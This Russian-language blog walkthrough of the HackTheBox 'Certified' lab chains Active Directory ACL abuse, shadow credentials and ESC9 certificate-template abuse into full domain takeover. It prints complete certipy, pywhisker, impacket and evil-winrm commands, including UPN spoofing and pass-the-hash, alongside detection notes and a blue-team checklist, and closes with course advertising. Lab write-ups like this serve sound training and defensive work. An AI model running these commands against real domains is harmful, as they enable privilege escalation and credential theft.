Перейти к содержимому

HTB Certified прохождение: от shadow credentials до ESC9 в AD CS

HTB Certified прохождение: от shadow credentials до ESC9 в AD CS
Время чтения: 13 мин.

По данным CrowdStrike Global Threat Report 2025, 79% атак в 2024 году обошлись без малвари, а 75% вторжений использовали действительные учётные данные. Машина «Certified» на HackTheBox моделирует именно этот сценарий: вам дают логин и пароль рядового доменного пользователя, а дальше — цепочка из четырёх ACL-ошибок до полного захвата контроллера домена. По пути — shadow credentials атака через Kerberos PKINIT, смена пароля чужого сервисного аккаунта и эксплуатация ESC9 в AD CS (Active Directory Certificate Services — встроенная служба Windows для выпуска и управления цифровыми сертификатами внутри домена). Русскоязычного разбора этой машины я не нашёл ни на одном ресурсе — закрываем пробел.

Контекст: grey box, Active Directory и карта атаки

Certified — машина средней сложности (Medium) на HackTheBox. Целевая ОС — Windows Server 2019 (Build 17763), полноценный контроллер домена DC01.certified.htb с развёрнутым AD CS. Это HackTheBox прохождение машины в формате grey box: вам выдают учётные данные (judith.mader / judith09) и предлагают добраться до Administrator.

Grey box — стандартный формат реального внутреннего пентеста. Заказчик выдаёт учётную запись уровня «обычный сотрудник», а задача — показать, как далеко можно зайти с минимальными привилегиями. На внешнем пентесте без сетевого доступа к контроллеру домена эта цепочка неприменима — имейте в виду.

MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1098 — её идентификаторы) карта атаки:

  1. Разведка — сканирование портов, валидация учётных данных, сбор ACL через BloodHound (T1087.002 Domain Account — обнаружение доменных учётных записей)
  2. Манипуляция ACL — захват ownership группы, добавление себя в группу (T1098 Account Manipulation — изменение прав доступа для повышения привилегий)
  3. Shadow credentials — подмена ключа Kerberos-аутентификации для захвата сервисного аккаунта (T1098 Account Manipulation — модификация msDS-KeyCredentialLink; аутентификация полученным сертификатом — T1649 Steal or Forge Authentication Certificates)
  4. ESC9 — злоупотребление уязвимым шаблоном сертификата для аутентификации от имени Administrator (T1649 Steal or Forge Authentication Certificates — получение NT-хеша через UnPAC-the-Hash; далее T1550.002 Pass the Hash — применение хеша через evil-winrm)

Уточнение: на Certified «злоупотребление делегированием Kerberos» — не про constrained или unconstrained delegation самого протокола, а про чрезмерно делегированные права в ACL Active Directory. При этом Kerberos-механизмы (PKINIT, TGT) — ключевые инструменты эксплуатации на каждом этапе.

Требования к окружению

  • ОС атакующего: Kali Linux 2024.x+ или Parrot OS. Минимум 4 ГБ RAM для VM
  • Сеть: активное VPN-подключение к HTB (файл .ovpn), доступ к 10.10.11.41
  • Python: 3.8+
  • Инструменты (устанавливаются через pip/apt):
  • certipy-ad v4.8+ (GitHub ly4k/Certipy, активная разработка) — основной certipy инструмент для атак на PKI Active Directory
  • bloodhound-ce-python (Community Edition) — сборщик данных для BloodHound
  • impacket (Fortra/impacket, активная поддержка) — набор скриптов: owneredit.py, dacledit.py
  • pywhisker (ShutdownRepo/pywhisker на GitHub) — инструмент для shadow credentials
  • PKINITtools (dirkjanm/PKINITtools) — утилиты для Kerberos PKINIT
  • evil-winrm — удалённый доступ через WinRM
  • netexec (бывший CrackMapExec) — проверка учётных данных и перечисление ресурсов
  • Синхронизация времени: обязательна (ntpdate или timedatectl). Kerberos не работает при разнице во времени с DC больше 5 минут — на этом спотыкается каждый второй новичок

Разведка: BloodHound, certipy и маппинг путей атак

Прежде чем атаковать, нужно понять инфраструктуру: какие сервисы запущены, какие ACL-права есть у нашего пользователя и развёрнут ли AD CS с уязвимыми шаблонами.

Сканирование и валидация

Первым делом добавляем записи в /etc/hosts. Без этого Kerberos-аутентификация не сработает: протокол требует DNS-имена, а не голые IP-адреса. Прописываем 10.10.11.41 certified.htb DC01.certified.htb.

Запускаем nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 10.10.11.41. В выводе — стандартный набор портов контроллера домена: DNS (53), Kerberos (88), LDAP (389/636), SMB (445), WinRM (5985). В сертификате LDAPS указано имя CA: certified-DC01-CA — подтверждение того, что Active Directory Certificate Services развёрнут.

Проверяем учётные данные: netexec smb certified.htb -u judith.mader -p judith09. Ожидаем [+] — пароль верный. Дополнительно проверяем LDAP и WMI. Доступные SMB-шары (--shares) — только стандартные (IPC$, NETLOGON, SYSVOL). Ничего интересного. Основной вектор — через ACL и сертификаты.

Обнаружение AD CS уязвимостей

AD CS уязвимости — один из самых недооценённых классов атак в корпоративных доменах. Проверяем наличие CA: netexec smb certified.htb -u judith.mader -p judith09 -M enum_ca. Ожидаемый вывод: Active Directory Certificate Services Found.

Запускаем certipy для поиска уязвимых шаблонов: certipy find -u judith.mader -p judith09 -dc-ip 10.10.11.41 -stdout -enabled. Certipy перечислит все шаблоны сертификатов, права на их запрос и флаги безопасности.

В выводе ищем два признака:

  1. Шаблон CertifiedAuthentication (точное имя возьмите из вывода certipy find) — у него установлен флаг NoSecurityExtension в Enrollment Flags. Что это значит на практике: в выпущенный сертификат не включается расширение безопасности, привязывающее сертификат к конкретному запросившему пользователю
  2. Право на запрос (Enrollment Rights) этого шаблона есть у пользователя ca_operator (проверьте точное имя шаблона в выводе certipy)

Два этих факта вместе — основа для ESC9 эксплуатации. Но до ca_operator нужно добраться через цепочку ACL.

BloodHound: визуализация ACL-цепочки

BloodHound — инструмент для визуализации связей и прав доступа в Active Directory. Он превращает сухие ACL-записи в граф, на котором видно, кто кого контролирует. Без него разбираться в DACL вручную — занятие для мазохистов.

Собираем данные: bloodhound-ce-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip. Через LDAP-запросы извлекаются все объекты домена — пользователи, группы, компьютеры, права доступа. Результат — zip-архив для загрузки в веб-интерфейс BloodHound CE.

После загрузки данных вырисовывается путь:

  1. judith.mader → WriteOwner → группа Management
  2. Management → GenericWrite → management_svc
  3. management_svc → GenericAll → ca_operator
  4. ca_operator → Enrollment Rights на шаблон с ESC9 → Administrator

Четыре шага, каждый — отдельная техника. Разберём по порядку.

Shadow credentials атака: от DACL-цепочки до NT-хеша management_svc

DACL (Discretionary Access Control List) — список прав доступа, определяющий, кто и что может делать с объектом в AD. Ошибки в DACL — это когда обычному пользователю назначены права, которые ему не нужны. В нашем случае таких ошибок три подряд, и каждая по отдельности выглядит безобидно.

Контекст применимости: внутренний пентест, grey box, Windows Server 2016–2022. Работает при наличии любых валидных доменных учётных данных.

Шаг 1: WriteOwner — становимся владельцем группы

Право WriteOwner позволяет сменить владельца объекта. Владелец может назначить себе любые права — стандартное поведение Windows, а не баг. Став владельцем группы Management, мы добавим себя в неё, а членам группы назначено GenericWrite на аккаунт management_svc.

# 1. Забираем ownership над группой Management
# ВАЖНО: owneredit.py и dacledit.py НЕ входят в mainline Fortra/impacket.
# Установка: git clone https://github.com/ShutdownRepo/impacket && pip install .
# Альтернативы: bloodyAD или PowerView (Add-DomainObjectAcl)
python3 owneredit.py -action write -new-owner 'judith.mader' \
  -target 'Management' 'certified.htb/judith.mader:judith09'
# 2. Даём себе право на изменение членства в группе
# (владелец объекта в AD имеет неявное право WRITE_DAC,
# поэтому dacledit сработает только после смены owner выше)
# ВАЖНО: dacledit.py доступен только в fork ShutdownRepo/impacket (см. выше).
# В mainline Fortra/impacket этого скрипта нет — команда impacket-dacledit
# вернёт «command not found». Альтернатива: bloodyAD или PowerView (Add-DomainObjectAcl)
python3 dacledit.py -action write -rights WriteMembers \
  -principal 'judith.mader' \
  -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' \
  'certified.htb/judith.mader:judith09'
# 3. Добавляем себя в группу
net rpc group addmem "Management" "judith.mader" \
  -U 'certified.htb/judith.mader%judith09' -S 10.10.11.41

Если owneredit выведет сообщение об изменении владельца, dacledit покажет добавление ACE (Access Control Entry — отдельная запись в списке прав), а net rpc подтвердит добавление в группу — всё прошло штатно.

Нюанс: на машине Certified работает периодический сброс изменений (scheduled task), возвращающий ACL к исходному состоянию. Все три команды лучше собрать в один bash-скрипт и выполнять последовательно. В реальном пентесте такого сброса нет, но изменения ACL нужно откатить по завершении проекта — это часть правил engagement.

Шаг 2: GenericWrite — shadow credentials

Теперь мы в группе Management, и у нас GenericWrite на management_svc. GenericWrite позволяет изменять большинство атрибутов объекта, включая [msDS-KeyCredentialLink](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/de61eb56-b75f-4743-b8af-e9be154b47af) — атрибут для аутентификации по сертификатам через PKINIT (расширение Kerberos для аутентификации по паре ключей вместо пароля).

Shadow credentials атака работает в четыре шага: 1. Генерируем пару ключей (публичный + приватный) 2. Записываем публичный ключ в msDS-KeyCredentialLink целевого пользователя 3. Запрашиваем TGT (Ticket Granting Ticket — «билет на получение других билетов» в Kerberos; доказывает, что вы аутентифицированы в домене) через PKINIT с приватным ключом 4. Из ответа DC извлекаем NT-хеш пользователя

# Добавляем shadow credential на management_svc
python3 pywhisker.py -d certified.htb -u judith.mader \
  -p judith09 --target management_svc --action add
# Запрашиваем TGT через PKINIT (pfx-файл и пароль из вывода pywhisker)
python3 gettgtpkinit.py certified.htb/management_svc \
  -cert-pfx <файл.pfx> -pfx-pass <пароль> management_svc.ccache
# Извлекаем NT-хеш
export KRB5CCNAME=management_svc.ccache
python3 getnthash.py -key <AS-REP-ключ> certified.htb/management_svc

Pywhisker создаст файл .pfx (сертификат с приватным ключом) и выведет пароль к нему — подставьте оба значения в следующую команду. Gettgtpkinit запросит TGT и сохранит в .ccache-файл; в конце вывода будет строка AS-REP encryption key: <hex> — скопируйте это значение и подставьте в getnthash.py как значение флага -key. Getnthash расшифрует NT-хеш management_svc из сохранённого AS-REP, используя этот ключ. С хешем подключаемся: evil-winrm -i DC01.certified.htb -u management_svc -H <NT-хеш> и забираем user.txt — первый флаг.

Когда техника не работает:

  • Shadow credentials требуют Windows Server 2016+. На Server 2012 R2 атрибут msDS-KeyCredentialLink не поддерживается — и точка
  • Если в домене реально используются смарт-карты или Windows Hello for Business, администраторы могут мониторить изменения этого атрибута
  • CrowdStrike Falcon и SentinelOne детектируют модификацию msDS-KeyCredentialLink через отслеживание LDAP-операций. Microsoft Defender for Identity (MDI) поднимает алерт на shadow credentials из коробки
  • В логах Windows это событие 4768 (Kerberos TGT Request) с типом pre-authentication 16 (PKINIT). Для blue team: если в домене нет смарт-карт — любой запрос PKINIT это красный флаг

ESC9 эксплуатация: AD CS уязвимости и повышение привилегий до Administrator

У нас есть NT-хеш management_svc, а у этого аккаунта GenericAll над ca_operator. GenericAll — максимально широкое право: можно менять пароль, атрибуты, членство в группах целевого объекта. По сути — полный контроль.

Шаг 3: GenericAll — смена пароля ca_operator

Ca_operator имеет право запрашивать сертификаты по шаблону с ESC9. Чтобы действовать от его имени, меняем пароль: net rpc password "ca_operator" 'NewPass123!' -U 'certified.htb/management_svc' --pw-nt-hash -S DC01.certified.htb, подставив NT-хеш management_svc. Теперь мы можем аутентифицироваться как ca_operator.

Шаг 4: ESC9 — повышение привилегий AD CS

ESC9 (Escalation Scenario 9) — одна из техник атак на PKI Active Directory, задокументированная в исследованиях SpecterOps. Разберём, почему она работает:

  • Шаблон сертификата имеет флаг NoSecurityExtension в Enrollment Flags
  • Выпущенный сертификат НЕ содержит SID (идентификатор безопасности) запросившего пользователя
  • При аутентификации по такому сертификату контроллер домена полагается на UPN (userPrincipalName — уникальное имя пользователя в домене), записанный в сертификате
  • Если у нас есть GenericWrite/GenericAll над аккаунтом-заявителем, мы можем подменить его UPN на UPN жертвы до запроса сертификата

Цепочка ESC9 на Certified:

  1. Через management_svc (GenericAll) меняем UPN ca_operator на Administrator
  2. Запрашиваем сертификат как ca_operator по шаблону с NoSecurityExtension
  3. Сертификат выпускается на UPN «Administrator» — без привязки к SID ca_operator
  4. Восстанавливаем оригинальный UPN (иначе certipy auth не сопоставит сертификат с аккаунтом Administrator)
  5. Аутентифицируемся с полученным сертификатом
# Подменяем UPN ca_operator на Administrator
# У встроенного Administrator атрибут UPN обычно пуст — указываем sAMAccountName без суффикса;
# если у жертвы UPN задан явно, укажите его полностью, например administrator@certified.htb
certipy account update -u management_svc@certified.htb \
  -hashes :<NT-хеш> -user ca_operator -upn administrator
# Запрашиваем сертификат по уязвимому шаблону
certipy req -u ca_operator@certified.htb -p 'NewPass123!' \
  -ca certified-DC01-CA -template 'CertifiedAuthentication'
# Восстанавливаем UPN
certipy account update -u management_svc@certified.htb \
  -hashes :<NT-хеш> -user ca_operator \
  -upn ca_operator@certified.htb
# Аутентифицируемся сертификатом
certipy auth -pfx administrator.pfx -domain certified.htb

Certipy req создаст файл administrator.pfx, а certipy auth вернёт NT-хеш Administrator. Подключаемся evil-winrm -i DC01.certified.htb -u Administrator -H <NT-хеш> и забираем root.txt — машина пройдена.

Почему это работает: флаг NoSecurityExtension убирает из сертификата привязку к SID конкретного пользователя. Без этого расширения DC маппит сертификат по UPN — а UPN мы подменили. Это ошибка конфигурации шаблона, не баг в коде. Вот почему certipy find показывает этот шаблон как уязвимый.

Когда ESC9 не работает:

  • Нужен GenericWrite или GenericAll над аккаунтом с правом Enrollment на уязвимый шаблон — без этого менять UPN не получится
  • На DC с обновлением KB5014754 (май 2023+) Microsoft усилила проверку маппинга сертификатов. Но дефолтное значение реестра [StrongCertificateBindingEnforcement](https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16) — 1 (Compatibility mode), при котором ESC9 остаётся эксплуатируемой. Полная нейтрализация наступает только при явной установке значения 2 (Full Enforcement), переход на которое Microsoft несколько раз откладывала
  • Elastic 8.x+ детектирует цепочку через корреляцию событий 4738 (User Account Was Changed) с запросами сертификатов (4887)
  • Kaspersky EDR Expert ловит аномальные изменения UPN в связке с обращениями к CA

Карта атаки и чеклист защиты

Этап Техника MITRE ATT&CK Инструмент
Initial Access Валидные доменные учётные данные T1078.002 Domain Accounts netexec
Discovery Перечисление ACL и пользователей T1087.002 Domain Account BloodHound, certipy
Privilege Escalation Манипуляция ACL (WriteOwner, GenericWrite) T1098 Account Manipulation impacket
Credential Access Shadow credentials (PKINIT) T1098 Account Manipulation + T1649 Steal or Forge Certificates pywhisker, PKINITtools
Privilege Escalation ESC9 — подделка сертификата T1649 certipy
Lateral Movement Pass the Hash (через WinRM) T1550.002 Pass the Hash evil-winrm

Чеклист для blue team

  1. Проверить все кастомные шаблоны AD CS на флаг NoSecurityExtension — команда certipy find -vulnerable покажет проблемные шаблоны
  2. Установить StrongCertificateBindingEnforcement = 2 (полный enforce) на всех контроллерах домена
  3. Аудит DACL: убрать WriteOwner, GenericWrite, GenericAll у аккаунтов, которым эти права не нужны. Инструмент — PingCastle или BloodHound Cypher Queries
  4. Мониторинг связки событий 4738 + 4887 + 4768 (pre-auth type 16) в окне 15 минут — сигнатура ESC9. Предварительно включите аудит Certificate Services: certutil -setreg CA\AuditFilter 127 и перезапустите CertSvc, иначе события 4887 не генерируются
  5. Ограничить Enrollment Rights на шаблоны минимально необходимым сервисным аккаунтам
  6. Включить аудит изменений атрибута msDS-KeyCredentialLink — сигнатура shadow credentials

Certified — не про одну уязвимость, а про цепочку, где каждое звено по отдельности выглядит безобидно, но вместе они дают Domain Admin. По данным IBM X-Force Threat Intelligence Index 2025, рост атак с использованием действительных учётных данных составил 71% год к году — ACL-злоупотребления в связке с AD CS стоят в авангарде этой тенденции.

AD CS — тикающая бомба в подавляющем большинстве корпоративных доменов. На десятках пентестов я видел одну и ту же картину: служба сертификатов развёрнута, шаблоны кастомизированы «на скорую руку», а команда защиты даже не знает, какие шаблоны существуют и кому выданы права на запрос. Класс атак ESC вырос с первоначальных ESC1–ESC8 (исследование SpecterOps) до ESC14, и останавливаться не собирается. При этом AD CS — не опциональный компонент: если в домене есть хотя бы один сервис с HTTPS (Exchange, ADFS, SCCM), сертификатная инфраструктура почти наверняка развёрнута. Проблема усугубляется тем, что DACL-ошибки вроде WriteOwner или GenericAll на сервисных аккаунтах — не баги, а результат ручной конфигурации, которую никто не ревьюит годами. Думаю, через год-два ESC-атаки станут таким же стандартным этапом каждого внутреннего пентеста, как Kerberoasting (T1558.003 — извлечение тикетов сервисных аккаунтов для офлайн-подбора паролей) сегодня: не вопрос «если найдём уязвимый шаблон», а вопрос «сколько их будет». На курсе WAPT эту цепочку — от ACL-разведки через shadow credentials до ESC — проходят в лабораторных условиях с реальным контроллером домена.

Эту тему и смежные навыки разбирают на практике в курсе «Специалист по тестированию на проникновение» Codeby Academy.